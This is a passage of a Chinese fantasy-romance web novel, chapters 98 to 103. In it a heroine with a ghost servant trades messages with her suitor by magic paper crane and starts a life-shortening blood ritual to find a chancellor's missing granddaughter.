殷琉璃搀扶着甄氏,在众人惊艳羡慕的目光中踏进府邸。
回房她略歇了歇,就用心念传哇呀呀。
关于顾瑾焱,她有事要问。
第98章 鹤使
“哇呀呀……主人,末将来了!”
片刻之间,哇呀呀已经闪现在她的面前,抬手行了个抱拳礼,郁闷的大叫,
“主人要把我放在那人身边多久呀?哇呀呀都好几个时辰没有见过主人了!”
“这不是看见了?”
殷琉璃勾了勾唇角,脸色淡淡的问,“顾瑾焱回府了?他怎样?”
“回去了,跟那个刁蛮公主大吵了一架,差点儿把那个老刁妇气死!”
哇呀呀得意的挑了挑眉说,“不过那个老刁妇又哭又闹,他最后还是没打赢,反倒被人家锁进房里不让出来。”
殷琉璃皱了下眉头,“他被关起来了?我还想让你帮我传话,我有事找他。”
哇呀呀毫不掩饰脸上的不屑,
“主人跟他有什么事?”
殷琉璃笑了笑,略略想了一下,忽然问它,
“哇呀呀,我们契约主仆也有几年了,若是哪天天劫降临,你会如何?”
“咣当”
哇呀呀将手中长刀往地上一戳,抬手拍了拍胸膛,
“末将自然要与主人共存亡!”
殷琉璃悠悠的吐了口气,“那可是天劫!天雷劈下,若是我不敌,你会与我一起劈成渣渣,魂飞魄散,永世不得超生。”
“那便不要超生!天劫啥时候来,哇呀呀先替主人顶上一道天雷!”
哇呀呀鼻子里哼了一声,坦白的说,“做什么有什么好的?做厉鬼更是无聊!末将横竖在这世上走了一遭,早没什么好留恋的了!”
做人的时候,他是威风凛凛,万人瞩目的大将军。
当时年少气盛,一心想要建功立业,除了打仗什么都不放在他的眼睛里。
做鬼以后,因为被兄弟背刺死前喉咙里堵了一口恶气,怨念深重化作厉鬼,在人世间游荡。
嘴上说了无数次**,却从来没真吃过一个。
不过是看那些村民被自己吓破胆的样子取乐罢了,无聊的狠。
可自从被殷琉璃收服,他心甘情愿签下契约做了她的鬼仆,心念也在跟随她的日子中发生变化。
一种从未有过的美好出现在他的念头里,殷琉璃就是这个美好的中心点。
若无天劫,他陪主人在这世上走一遭,陪她白头到老。
若天劫来临,他与主人同生共死。
……
看着那张义正言辞的脸,殷琉璃扑哧一声笑了出来,
“我的雷,不用你顶,你也顶不了。”
虽这般说,她心里还是涌上一股暖流。
哇呀呀眼神中闪过一抹暗淡,
“我知道,顾瑾焱不就是那个有命替你顶雷的吗。
哇呀呀……那小子命真好!”
“什么?”
殷琉璃没听清他最后嘟囔的一句话,随口问道,“哇呀呀,你嘟囔什么呢?”
“没,没什么……哇呀呀,主人,他现在被老刁妇困在房中,一时半会儿怕是出不来了。”
哇呀呀胡乱遮掩了一下,忙道,“要不要末将把他偷运出来,与主人见面?”
殷琉璃摇了摇头,沉思片刻,轻轻的说,
“没事了,你回去吧。哇呀呀,我怀疑顾瑾焱落水的事情并非偶然,成懿公主受人蛊惑,以为我命格克顾瑾焱,处处为难。
这一串的事情说明有人在背后做手脚,我怀疑是无崖子所为。”
哇呀呀眉头一狞,“主人要哇呀呀做什么!”
殷琉璃吩咐道,
“如果是无崖子出手,应该能留下痕迹,你去探查。
另外我府中之人近日有谁与公主府的人接触,也要查出来。”
“哇呀呀……末将领命!”
哇呀呀抬手抱拳,一个转身便从殷琉璃眼前消失。
顾瑾焱被关在房里?
殷琉璃唇边勾起一抹笑意,觉得有些话想跟他说,便吩咐身边的殷梅,“阿梅,帮我研磨。”
“小姐要写信给世子爷吗?”
殷梅拿了纸笔,又抽了一张宣纸扑在殷琉璃面前,轻声说,
“公主府又离得不远,还不如让奴婢去一趟,请世子爷来府里见小姐?”
她不知道哇呀呀的存在,自然也不知道顾瑾焱被关起来了。
殷琉璃刚才一直用心念与哇呀呀说话,殷梅几个根本看不见,只瞅着小姐呆呆的坐着,陷入沉思一般。
那张略显疲惫的脸上不时露
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出一抹笑容。
“不用劳烦你,我自有主意。”
殷琉璃摇了摇头,轻轻掐了一下笔尖上的浮**,提笔在宣纸上写了几个字。
殷梅还等着她写上一篇呢,没想到她将那张只写了几个字的宣纸拿了起来。
一双纤细的手指灵巧的折了几下,一个玲珑小巧的纸鹤便出现在眼前。
“小姐好灵巧的手!”
殷梅惊喜的赞了一声,忍不住说,“这是作废的吗?小姐若是不要,就把这纸鹤赏了奴婢吧!
奴婢从小在暗卫局长大,整日舞刀弄枪,从来没学过这种女儿家的小玩意儿呢!”
殷琉璃笑了笑说,
“你喜欢这个,那我再折给你们玩。
这个不行,还要有用。”
殷梅好奇的问,“都叠成鹤了,还有什么用?”
“它叫鹤使……是我的信使。”
殷琉璃淡淡勾唇,抬手在掌心画下一道灵符。
手指一翻,指缝间灵光乍现,飞入纸鹤。
殷琉璃以心念催动,“以纸为媒,以鹤为使,传我书信,不得有误!急急如律令!”
瞬间,纸鹤周身散发出一道耀眼的光芒。
殷梅感觉自己眼花了,似乎看到桌上的纸鹤自己动了一下。
她赶紧揉了揉眼,竟看见那只纸鹤在缓缓的扑腾翅膀,似乎要起飞一般。
殷琉璃拿过一直朱砂笔,在那只尖尖的鹤头上,轻轻点了两个小圆点做眼睛。
一瞬间,鹤头便抬了起来。
又扑腾了几下翅膀,便从桌上一跃而起,悬停在殷琉璃的面前。
如果不是纸张折叠的痕迹,它简直栩栩如生。
殷梅吃惊的瞪圆了两只眼睛,不可思议的捂住嘴巴,
“天呐!小姐,我没看错吧,它、它活了!”
“它被灵符赋予灵气,成为我的信使。”
殷琉璃简单的解释了一下,抬起纤细洁白的手指在纸鹤的头上轻轻抚了两下,
“去公主府找顾瑾焱,替我将他回信带回来。”
“格……”
一声若有若无的鹤鸣从耳边划过,纸鹤冲殷琉璃点了点头,展开双翅从窗户飞了出去。
第99章 夫妻间的小情趣
殷梅看到眼睛都直了,激动的说,
“小姐,这东西也太有趣了!以后若是小姐要给阿梅传信,也用这个好不好?”
……
公主府。
顾瑾焱的房门上挂着一把厚重的黄铜大锁。
公主府的实力果然非常一般,光是一把铜锁就比寻常人家的大了几倍。
上面还刻着花纹,锁孔内纹路复杂,就是小偷的祖宗来了也别想轻易打开。
成懿公主气的面色铁青,声色俱厉,
“焱儿,你就在房中给我面壁思过,好好反省一下!
想不通,这些日子就别出来了!”
顾瑾焱往门上瞥了一眼,慢悠悠的端起了茶碗。
她等了半晌不见房中动静,心下又委屈起来,苦口婆心的说,
“不是母亲狠心,这些年母亲做的哪一样不是为了你好?
那个殷琉璃命数克你便罢了,竟还那样对我?
日后若是娶进来,我府里还有安宁的日子嘛!”
“呼……”
顾瑾焱吹了吹茶碗,咕嘟一声啜了口热茶。
反省?
让他反省一万年,他也要娶殷琉璃!
真想不通母亲搭错了哪根筋。
人家还救了她一命呢,她**活就看不上人家?
门外又传来成懿公主揪心的质问,
“焱儿,为了那个不知天高地厚的女子,你是要跟母亲做对到底嘛!”
“殿下小心身子。”
一旁的嬷嬷连忙搀扶,劝慰着说,
“世子爷年轻气盛,一时想不通是有的。
老奴不怕冒犯,也劝世子爷一声,殿下一心都在世子爷身上,您这么气着她不怕把她气坏了?”
成懿公主应景似的咳喘了几声,哽咽难忍,
“他这是在挖我这个当娘的呀……”
“是儿臣不对,请母亲不要生气。”
顾瑾焱应付的哼了几句,“儿臣一定在房中好好反省,母亲身子要紧,回去歇着吧。”
成懿公主恨铁不成钢道,
“你真知道错才好!来人,给本宫好好守着世子爷,没有本宫的命令断不许他出去!”
……
书桌前,一双逆天长腿随意交叠,搭在上面。
顾瑾焱无聊的咬着一根毛笔,眉宇微蹙。
抬手枕着自己的胳膊,俊美的脸在阳光的照射下矜贵慵懒。
一间小小的卧房还是关不住他的。
只是今天把母亲得罪狠了,顾瑾焱这才乖乖的让她把自己锁在房里出气。
不然他真怕把母亲气死。
安静下来,顾瑾焱满脑子都是殷琉璃的身影,和她当着所有人面指着他鼻子说的那句,
“顾瑾焱,我一定要嫁给你!”
光是想想,他唇角就压抑不住的扬了起来。
他忽然想给殷琉璃写点儿什么,正要抓过唇上的毛笔,忽然听见窗外传来一丝轻微的“扑啦”
声。
似乎有只小鸟飞来窗前,不停的拍打翅膀。
顾瑾焱下意识的推开窗户,刚露出一条细细的缝,突然间一只小孩儿巴掌大的东西钻了进来。
定睛一看,竟然是一只用宣纸折就的纸鹤。
纸鹤尖尖的头上点了两个朱点,活灵活现的拍打着翅膀,缓缓落在书桌上。
“琉璃!”
顾瑾焱幽深的眸子里泛出一抹光芒,低头望着纸鹤说,“小东西,是不是琉璃派你来的?”
纸鹤轻轻拍动下翅膀。
顾瑾焱满脸惊喜。
轻轻将纸鹤托在掌心,迫不及待的问,
“她让你告诉我什么?”
纸鹤又拍了拍翅膀。
(你看我像是能说话的样子?)
“哦,你没有嘴,不会说话!”
顾瑾焱俊美的脸上露出一抹笑意,一脸没见识的说,“我知道了,琉璃把要说的话写在里面。
那我可要拆开你来看了……你会不会疼?”
纸鹤,“……”
(这人是不是傻?)
顾瑾焱轻轻捏住它的双翅,小心翼翼的顺着折叠痕迹,找到拆开的地方,然后轻手轻脚将信纸打开。
生怕弄疼了纸鹤一般。
毕竟这是琉璃送来的东西。
纸上用工整清秀的字体写着几个字,
“你被关起来了?”
就这几个字?
顾瑾焱来回看了好几遍,还真就这几个字!
怎么不多写一些给他!
不过怎么看怎么感觉,字里行间有种小夫妻间你来我往的小情趣在!
顾瑾焱心里痒的难耐,恨不得立刻跳窗出去,直接杀到殷琉璃的面前。
不过转念一想,琉璃用纸鹤传信,不就是要跟他聊天嘛!
顾瑾焱心头不由自主的漏
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跳了一拍,玩心大起,忙把纸张在桌上摊平,抓起毛笔写道,
“小小卧房,岂能关得住我?你后来如何,听闻皇外祖母将你留了些时候,与你说些什么?
琉璃,母亲只是一时转念不过,才说了那些话,请你不要放在心上,一切有我。”
写完他觉得少点儿什么,忙又添了一句,“我很挂念你,我想见你。”
写完,他按着折叠的印子,重新将纸鹤叠好,托在手心。
心里莫名激动,不知他折叠的纸鹤,是不是也能飞起来。
“呼呼……”
片刻间,纸鹤轻轻拍了两下翅膀,在顾瑾焱惊喜的目光中腾空飞起,从窗缝中钻出消失不见。
顾瑾焱俊美的脸上顿时绽放成了一朵花。
不多时,窗外便传来了纸鹤拍打翅膀的轻微声响。
“晚上,老地方。”
打开纸鹤,几个简单的字样出现在眼前。
顾瑾焱脑海中浮现出一个皎洁的月亮,静谧幽深的屋檐。
激动的心头狂跳。
……
殷侯府。
殷琉璃正要小憩,殷梅就匆忙进来说话,
“小姐,宰相大人来了,指明要见小姐!”
殷琉璃蹙了蹙眉,
“宰相?他来做什么?阿梅,随意说个字出来。”
“啊,什么字?”
殷梅满脸不解,还是随口报了一个“梅”字。
殷琉璃心下了然,淡淡的说,
“阿梅,帮我梳妆。”
……
一个身材魁梧,面目威严的老者,在殷家正堂负手而立。
他身穿一身素色华服,周身缠绕着一抹冷肃的气息,一张紧绷的面容不怒而威。
他身边站着的,是那位周青公周大人,也是面色肃然。
气氛说不出的沉淀压抑。
“镜堂见过宰相大人!”
殷镜堂急匆匆的赶来,一张失意的脸勉强打起笑容,“不知宰相大人前来,有失远迎……”
听下人禀报自己的死对头不请自来,他紧张的额头冒汗。
宰相不是已经联合众人上书**他了嘛,如今亲自登门又是为何?
难道是来亲眼看他有多落魄?
宰相缓缓侧目,对殷镜堂甩了下衣袖,
“本相不是来找你的。你府里那位圣上亲封的女佐使可在府内?”
第100章 无迹可寻
一听是殷琉璃,殷镜堂就恨的牙根痒痒。
他被圣上罢免,禁在府里自醒,这丫头在外面可是风光无限呢!
登门的全是来找她的,源源不断的礼品收到手软。
殷镜堂脸上陪着笑,阴阳怪气的说,
“在的在的,小女刚去宫里赴宴回来,颇得了皇后娘娘的赏识。
得了不少金贵的赏赐不说,还乘坐皇后娘娘的座驾回来的呢。
放眼整个京城,谁能获得如此殊荣?”
他本想放下身段去凤栖梧坐坐,跟他们娘俩说些好话,谁知连门都没迈进去!
宰相微微蹙眉,不耐烦的打断他的话,
“请女佐使来,就说老夫拜访。”
话音未落,殷琉璃不紧不慢的迈步过来,上前淡淡行礼,
“殷琉璃见过宰相大人。”
宰相抬手虚扶了一下,威严的脸上神色有些复杂,
“不必多礼。你……”
他欲言又止,看着殷琉璃的眼神中带着一抹迟疑。
殷琉璃清灵的眸子打量了他一眼,果然与自己刚才测的那一卦梅花易数相对,便开口道,
“大人家中是否有人走失?女子,骨肉至亲。”
宰相阴沉的眸子里闪过一抹讶异,回头看向周青公,
“青公,你事先与她说过本相的事情?”
周青公无奈的笑了笑,
“弟子得到消息立刻动身前往恩师府中,哪有功夫与佐使传递消息?”
殷琉璃淡淡的说,
“大人不必怀疑,听闻大人驾临,琉璃随手打了一卦,才知大人府中有骨肉失散。”
宰相眼眶不觉一红,连声追问,
“你能算出来?那本相孙女身在何处,有无危险?
她、她还活着嘛!”
殷琉璃脸色平静的说,
“大人可否带了她日常所用之物,抑或告诉我生辰八字。
琉璃需要测算,才能知道她的情况。”
“那就有劳女佐使了!若能为本相寻回孙女,定当重谢!”
宰相毫不犹豫的报出一串生辰,脸色也不由激动起来,
“清棠参加皇后娘娘的赏荷宴,从宫中回来便不知去向!
她的马车被人发现丢在城外林中,人却不见了。
随从、侍婢、嬷嬷一众全都倒在地上,老夫盘问之下,他们竟然全都不记得发生了什么!”
周青公也说,
“恩师动用所有家丁,连官差都派出去了,找了两个多时辰,还是不见有一丝线索。
琉璃,我们实在没法子,这才来求你相助。”
“我尽量。”
殷琉璃抬起纤细的手指,拇指在骨节处快速掐算片刻,不觉皱起眉头,
“沈小姐,无迹可寻。”
推算出这一卦的同时,她也用心念召来了哇呀呀,命他速查。
“什么!”
宰相面色一沉,不怒自威的气势中不觉多了一抹怒意,
“女佐使这话是什么意思?我棠儿好好一个大活人,如何会无迹可寻?
你、你没本事把她寻出来,也不能这般咒她!”
殷琉璃眼神平静的看着他,
“大人不信,就另请高明。”
“你说什么?放肆!”
宰相怒不可遏道,“寻不出来就要赶本相走,没那么容易!”
“恩师息怒!息怒!”
周青公吓了一跳,忙上前拦着他劝慰,“琉璃姑娘说无迹可寻,许是、许是……”
他也不知道该怎么解释。
当时宰相得知孙女失踪,急的在府中大发雷霆,满府的**气儿都不敢出一声。
师娘更是活活哭晕了过去,躺在床上嘴里还喃喃的叫着沈青棠的名字。
沈清棠自幼承欢老两口膝下,是夫妻俩亲手抚养长大,视作掌上明珠一般的孙女。
周青公知道事情的重要性。
眼看着官府和大理寺全都出动,愣是两个多时辰还没找出人来,只怕事情不好。
恩师向来不信鬼神,他不想恩师急坏了身子,便硬着头皮向恩师推荐了殷琉璃。
周青公以自己的事情举例,又举出殷琉璃大破妖道救出孩子的事情,这才说动了恩师。
谁知道殷琉璃当头一棒,说“无迹可寻”。
恩师心里本就焦急万分,这一来不发火儿才怪呢!
“子不语怪力乱神,是本相错了,本相就不该信你!”
宰相怒气冲冲的甩下衣袖,声线冰冷道,“青公
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,这就是你推荐的?什么道术高超,什么无所不能,简直胡言乱语!”
殷琉璃静静的看着他发怒,哇呀呀闪身而至,
“哇呀呀……主人,末将也查不出什么!”
哇呀呀也查不到,事情就更有意思了。
殷琉璃朗声对宰相道,
“大人若想寻到孙女的下落,就耐着性子听我说完。”
宰相对她怒目而视,
“你还有什么好说的!”
“琉璃也是自幼与母亲分别,十二载思念之情,不是常人所能体会的苦楚。
所以琉璃能理解大人骨肉失散之痛,大人发火,我可以谅解。”
殷琉璃清冷的眸子里波澜不起,冷声说,“只此一次,若我说完大人还出言责备,那请自便。”
周青公眼见事情还有转圜的余地,急忙劝解道,
“恩师就听琉璃姑娘一眼吧!她能这般说,一定是有别的法子的!
不然就算回去,再多多派人去寻清棠小姐也不迟不是?”
宰相脸色黑沉,勉强压抑了一下心头的怒火,朗声道,
“是老夫孟浪了!老夫心急失言,对女佐使出言不逊,还望女佐使原谅老夫。”
说罢,他双手合了个礼,竟向殷琉璃鞠了一躬。
不知为什么,他心头被殷琉璃那副泰山压顶而不崩于前的气度,深深震撼。
身为当朝宰相,一人之下万人之上,多少朝廷命官在他面前都言行谨慎,不敢妄言。
别说发火,有时候他一个眼神过去,旁人就吓的跪地请罪。
殷琉璃非但不怕,跟他说话更是不慌不忙。
宰相心里对这个十几岁的丫头,产生了一种莫名的信任感。
殷琉璃抬手虚扶了一把,
“大人之礼,琉璃受了。琉璃定当竭尽所能,为大人寻回骨肉。”
宰相声线中起了一丝微哽咽,
“还请女佐使相助!”
殷琉璃眉头微蹙,沉吟道,
“人不可能在这世间消失的无迹可寻,生有人气,死有魂魄。
我以生辰推算不出,只有一个解释:沈小姐应该是被禁锢在结界之中。”
“结界?”
宰相和周青公面面相觑。
第101章 拳拳之心
殷琉璃点点头,
“结界乃道家密术之一,修行中以真气或符咒布阵,隐匿其中隔绝外界干扰。
所以寻常法术是探不出来的,只能用血咒寻踪。”
宰相面色紧了紧,“什么是血咒寻踪?”
“骨头亲人,血脉相连,息息相关。”
殷琉璃眸色清冷的说,
“以亲人之血为引,灵符为媒,借天地之气,方能破五方之障。”
宰相和周青动对视一眼,都听的似懂非懂。
他心急如焚的说,
“只要有办法,老夫一切都听女佐使的!
老夫是棠儿亲祖父,不知我的血可否一用?”
说着,他就迫不及待的撩起衣袖,将手腕露在殷琉璃面前。
殷琉璃轻轻摇头,
“大人先别急,我还有话没说完。
血咒寻踪虽万用万灵,其实乃道门禁术,你们知道为什么吗?”
“道门禁术?”
周青公低呼了一声,紧张道,“明明是寻亲的好法子,为什么会被道门列为禁术?
琉璃,这里面到底有何渊源?是不是……施了这法术,对人不好?”
宰相面色紧绷,“管它什么,老夫只要能找到棠儿就行!”
殷琉璃幽幽看了他一眼道,
“周大人说的没错,这法术对寻亲之**有妨害。
以血引路,用的是血肉,可耗费的却是活人的元阳。
元阳有亏,寿命便会受损。”
周青公暗暗吸了一口气,惊声道,
“你的意思是,若用恩师的血施法,寿命就会减少?那、那会减多少?”
宰相面色顿时沉重。
“对,就因为损人寿命,有违天道,所以这个法子才被列为禁术。”
殷琉璃淡淡的说,
“至于损多少寿命,各人不同,要看天数。
福泽深厚者也许只损一天,一月,一年。
时运不济,也有三、五、十年之损。
不怕吓到两位大人,我师父曾替人做过一次血咒寻踪术,那人的孩儿是寻回来了,可施法者却当场暴毙。”
周青公狠狠吃了一惊,讪讪的说,
“只能说那人福薄,好在、好在孩子寻回来了……”
殷琉璃轻描淡写的说,
“那孩子被狼叼去了山上,寻到时五脏六腑都被掏空了。
血咒寻踪,不论生死。”
话音一落,正堂陷入死一般的寂静。
她把话说的很明白,若施法,寻回来的人不一定就是活的。
但消耗的寿命却不会打一点儿折扣。
宰相脸色瞬间变得苍白,一双浓郁的眉毛紧紧皱起,眼神中翻涌着让人难以捉摸的复杂情绪。
周青公不住的擦冷汗,想说些什么,可又不知该说什么。
生而为人,哪一个不把自己的命看的金贵,谁不想着长命百岁?
宰相乃两朝元老,身居高位,一人之下万人之上。
他所拥有的身份地位,财富、荣耀,都是常人难以企及的东西。
越是什么都拥有的人,对寿命便看的越重要。
毕竟只有命长,才能享受到旁人想都不敢想的荣华富贵!
殷琉璃之所以开门见山,告诉他施法的后果,就是要他自己权衡利弊,再做决定。
“琉璃姑娘……”
良久,宰相从胸中吐了一口气,缓缓道,“依你看,老夫是福泽深厚之人,还是时运不济呢?”
他幽深的眸子里,带上了一抹深深的期待。
殷琉璃只淡淡的说了四个字,
“天数难测。”
宰相眸中顿时闪过一抹失落。
“大人若拿不定主意,可以先回府,等决定好了再来找琉璃。”
殷琉璃脸色平静的说,“琉璃也只能帮大人到这里。”
“琉璃姑娘,就……就没有旁的办法了吗?”
宰相眼中不知何时已经爬满血丝,身形踉跄一下,颤声道,“老夫不是舍不得救棠儿,可这……”
殷琉璃摇了摇头。
“恩师小心身子!”
周青公连忙搀扶住他,小心翼翼的劝慰说,“此事一时间是难决断,不若先回府,恩师与师娘、棠儿的爹好好商量一下,再做决定?”
“再做决定,就来不及了!”
宰相一把将他推开,跌坐在座椅上,那张威严的面容仿佛一下苍老了十岁,<
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br>“棠儿亲生母亲生下她,就难产**。
她一个粉团般的小娃娃叫我抱在手里,咬着小拳头冲我咧嘴……我就是块石头也要化了!
我与她祖母怕她受继母的气,从她断奶就接在身边养着,一直养到了这么大。
如今她下落不明,青公,你让我、你让我怎能忍心……”
周青公听红了眼眶,叹了口气说,
“学生知道,恩师与师母这些年将棠小姐视作掌上明珠,可……”
话音未落,宰相扶着桌椅摇摇晃晃的站了起来,一双通红的眸子望着殷琉璃,
“琉璃姑娘,老夫决定了,就用老夫的血施法!
不论棠儿是死是活,我这个做祖父也不能亏欠我儿!”
周青公大惊失色,
“恩师三思呀!一定还有别的办法,一定……
莫若让棠儿的父亲来做,他到底年轻……”
“我那个不争气的儿子,你还不知道他!”
宰相咬了咬牙,恨道,“成日里无所作为,就知道围着那一群妻妾花天酒地!
若论福泽,老夫年轻时追随先皇上阵杀敌,在朝堂为圣上排忧解难!
他为我大昶朝做过什么,为圣上为百姓做过什么?”
殷琉璃欣赏的看了宰相一眼。
他嘴里说的满是恨铁不成钢之意,可心中却对自己的儿子百般维护。
父母之心拳拳,倒也让人动容。
“启禀宰相大人,寺卿大人!”
一个身穿大理寺执事制服的人匆忙进来,跪地禀报道,
“暗卫那边传了消息来,派出去的人将京城内外,方圆十里之地搜了个遍,尚未查到沈小姐的行踪。”
宰相脸色阴沉,紧皱的双眉狠狠跳动。
周青公无奈的摆了摆手,
“知道了,退下。”
“大人真的决定了?”
殷琉璃轻声问了一句,“若是决定,琉璃全力以赴。”
宰相脸上蒙上了一层悲壮,眸光坚毅道,
“老夫决定了,还请琉璃小姐相助!不论将来是生是死,老夫都会记住你这份恩情!”
说着,他双手合礼,冲殷琉璃深深一拜。
第102章 她竟然失约!
“恩师!”
周青公满脸动容的叫了一声。
刚才属下来报,别说恩师,连他心里都追进了冰湖一般,凉了个透。
这大半天时间,他们动用了大理寺、衙门、几个府邸的下人,好几百号人挖地三尺去寻沈清棠,都没有找到。
怕是人**,有大理寺暗卫全体出动,去找自己的耳目探听消息,也一无所获。
再不找到沈清棠,怕不是要凶多吉少了。
殷琉璃忙抬手虚扶,
“大人不必客气。血咒寻踪,需得一处僻静之地,施法时不得有外人闯入。
内宅施法不便,还请两位大人随我去大理寺才行。”
周青公红着眼睛说,
“也好,大理寺能派出去的人全都派出去了,最是清净不过。”
殷琉璃点了点头,
“请两位大人稍等,我去告知母亲一声,再准备些东西。”
她回凤栖梧,将事情简单的告诉了甄氏一番,便带着殷梅殷兰急匆匆的走了。
……
公主府。
“天怎么还不黑呀?”
顾瑾焱眼巴巴的望着窗外,如坐针毡。
百无聊赖中,他拿起纸鹤拆了看,看了又拆,盯着上面你一言我一语的书信,俊美的脸上不时泛起花痴般的笑容。
看着信纸,顾瑾焱脑海中浮现出无数场景:
夫人说有话要跟他说,不知道要说什么呢?
如果是母亲刁难的事情,那不用她担心。
应该不是。
以琉璃的性子,她才不会在乎别人喜不喜欢她,她只要自己喜欢自己就行了。
那她要说什么呢?
没准就是单纯的想见他!
巧了,他也迫不及待的想见她!
自从喜欢上殷琉璃,顾瑾焱头一次体会到“一日不见如隔三秋”是什么滋味儿!
信上,殷琉璃给他写的最后两个字是,“等你。”
她在等我!
夫人,我很快就能去赴约了!
顾瑾焱越想越美,内心戏丰富极了。
吃了母亲让人送来的茶饭,顾瑾焱一手托腮,好容易等到天色黑透,差不多是就寝的时辰了,才换上了一套夜行衣。
“咻……”
他把手指含在唇边,打了一个清脆的呼哨。
片刻间,头上的瓦片便传来细微的踩踏声,
“主子……”
顾瑾焱淡淡挑眉,“把人收拾了去。”
门外很快就传来闷哼声,房门“咔哒”一下打开。
顾瑾焱不紧不慢的踏出屋门,向后撤了几步,纵身一跃蹿上屋顶。
……
殷侯府许多屋子已经熄了灯火,只留下走廊几个昏黄的灯笼。
顾瑾焱按捺着心头的激动,
脑海中满是殷琉璃坐在房顶上等他。
她抬头望着月亮,一张美若天仙的脸,在月光下散发着诱人的光芒。
谁知踏上凤栖梧的屋檐,却空无一人。
顾瑾焱怔了怔,抬头看着月色嘟囔了一句,
“不是说老地方等吗,怎么还没出来?”
他趴在屋檐上往下瞅了瞅,殷琉璃的屋子里亮着灯,窗户上隐约映着一个纤细的身影。
顾瑾焱松了口气,索性趴在屋檐上盯着那个身影看。
谁知又等了一会儿,身影消失不见。
屋子里虽没有熄灯,可殷琉璃还没出来,顾瑾焱看的一头雾水。
她不出来,那自己为什么不能去找她?
顾瑾焱四下瞅了瞅,凤栖梧一片静谧,众人的房间都没亮着灯火,便纵身从房顶上跃下。
“嘎吱……”
他本想敲门,又怕吵醒旁人,便先轻轻推了一下屋门。
没想到屋门没锁,嘎吱一声轻响打开缝隙。
屋内安静异常,烛火跳跃在墙壁上照出晃动的阴影。
“琉璃,是我。”
顾瑾焱往里面瞧了瞧,压低声音说,“你在房里吗?”
没有人回应。
顾瑾焱微微蹙眉,刚才还看见她的身影,莫不是趴在窗前睡着了?
“琉璃,是我。”
感觉有些不对劲儿,顾瑾焱轻咳了一声,试探道,“你在房里吗?”
“嘎吱……”
一阵风吹过,门缝被吹的又大了些。
他从门缝中看到客室桌旁,伏着一个纤细的身影,好像是睡着了。
怪不得没有赴约,原来是累的睡着了。
今日在御花园发生了太多事,她也的确累了。
趴
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在桌上的身影忽然轻轻颤动一下,含混的嘟囔,
“冷……”
听到殷琉璃说冷,顾瑾焱不由自主的迈步进去,想找块毯子给她盖上。
谁知脚步踏进的一瞬间,桌旁人突然惊醒,抬手便是一道锋芒射了过来。
顾瑾焱本能偏头躲开,只听“啪”的一声,一根竹签撞在门上。
“啊!小姐?你、你回来了……”
殷菊弹跳般站了起来,脸上还带着睡梦中的迷糊,慌张的说,
“抱歉抱歉,奴婢习惯了……没伤到小姐吧?”
身为暗卫,她们从小就学习防卫偷袭的手段,衣袖中常年藏着几把小巧的飞刀。
自从跟了殷琉璃,袖中的飞刀在府里就不能随便用了。
殷琉璃知道她们多年养成的习惯,就让四人把飞刀换成了竹签,竹签上还沾了腊,以防误伤。
顾瑾焱眉头不由一皱,
“坤四,怎么是你?”
“世子爷?这大半夜的,你不在府里安寝,怎么跑这儿来了?”
听见顾瑾焱的声音,殷菊混沌的脑袋瞬间惊醒,目瞪口呆的看着他。
顾瑾焱满脸尴尬。
看他脸色贼里贼气的,殷菊顿时脱口又问,“你摸进我们小姐屋里,想干嘛!”
她是四人中排行最小,也是性子最直的,说话不喜欢过脑子。
“本、本世子能干嘛?”
顾瑾焱一脸郁闷的说,“我来找你们家小姐……是她让我来的!
对了,琉璃呢?这大半夜的她怎么不在房里?”
殷菊缓缓瞪大眼睛,表情夸张的说,
“小姐傍晚时分就出去了,世子爷不知道?”
她竟然失约!
我的心好痛……
顾瑾焱又气又委屈,咬牙气鼓鼓道,
“出去了?她去哪儿了?为什么出去!
怎么这么晚还没回来?……她出去怎么没告诉我!”
殷菊呆萌的眨了眨眼睛,
“小姐被宰相大人请去了呀,说是要帮宰相大人寻找失踪的孙女。
怎么小姐没跟世子爷说……”
话音未落,顾瑾焱已经从她眼前消失。
发生这种大事,她怎么不想着先告诉自己一声!
第103章 岌岌可危
大理寺。
周青公将两人引入一座密室之中,并按照殷琉璃的吩咐取来了四十九跟蜡烛。
殷琉璃指挥众人将蜡烛摆放成形。
她一身利索的圆领男装,丹青颜色,一条玄色腰带将她纤细的腰身,勒出玲珑有致的身形。
乌黑的头发全然盘在头顶,只用一根银簪别住。
脚下用七七之数的蜡烛,摆出一副太极图形。
烛光摇曳,那张精致绝美的脸映着烛光,越发显得英气十足。
她手持一把小巧精致的桃木剑,站在圈外,肃目而立。
“大人,请站于太极图阳鱼极点。”
殷琉璃抬起纤细的手指指了一下,吩咐道,“待我开阵,大人须要割破食指手腕,以指血为引。
没有我的吩咐,大人不可妄动,否则扰乱阵法得不偿失。”
宰相暗中握紧了手中的**,双目肃然的望着她,
“一切听从女佐使安排。”
到底是经历过大风大浪的人,他脸色紧绷,却没有对未知的恐惧。
“准备好了,我便要开始了。”
殷琉璃抬手,凌空画下一道开阵符咒。
她手指一翻,灵光便从指尖浮现。
宰相看不到符咒灵光,只见她手指灵动翻飞,一种不凡的压迫感瞬间袭上心头。
除了圣上,他还没在谁的身上感受到这种威压的气息。
殷琉璃将灵光送入阵法,口中轻喝一声,“开阵!”
听到开阵二字,宰相毫不犹豫的举起**,在左手食指上狠狠划了一下。
鲜血喷涌而出,滴滴答答往下流淌。
“血引。”
殷琉璃手中桃木剑一翻,对那条血线做了一个挑的手指。
顷刻间,血线凌空而起,仿佛有了生命一般,向桃木剑飘了过去。
宰相惊讶的瞪大眼睛。
若非亲眼所见,他绝不相信有人能将落地的血水,引成一条线漂浮在空中。
殷琉璃以桃木剑为笔,以血为墨,凌空画出一道“血咒寻踪符”,口中默念,
“血咒寻踪,以血为引。五方鬼神,听我号令,破障除界,寻踪追魂……太上老君急急如律令!”
念罢,一道血红色的符光在眼前乍现。
她对符咒了然于胸,一笔一画极为利落。
宰相大开眼界,只见她身体岿然不动,只有一只纤细的手臂在半空挥舞,显得格外利落潇洒。
“呼呼……”
一阵风忽然拔地而起,将摆放成太极图的蜡烛吹的摇摇欲灭。
宰相心里不由紧张,生怕这风将蜡烛吹熄,破了阵法。
谁知道越怕什么越来什么,他脚下的两只蜡烛,突然噗的一下灭掉了。
宰相脸色一变,本能的想弯腰伸手去挡风,忽然想起殷琉璃交代不要乱动,差一点儿伸出去的手硬生生停住。
“噗……”
“噗噗……”
就在这时,阵图中又有几支蜡烛迎风而灭,浓郁的蜡油味儿瞬间弥漫了整间密室。
宰相一颗心差点儿跳到嗓子眼儿里。
他拿不准是不是阵法被破了,一滴冷汗顺着脸颊往下掉,他又不敢抬手去擦。
他宁愿舍了寿命,也要找回骨肉,要是阵法破了还不急死他?
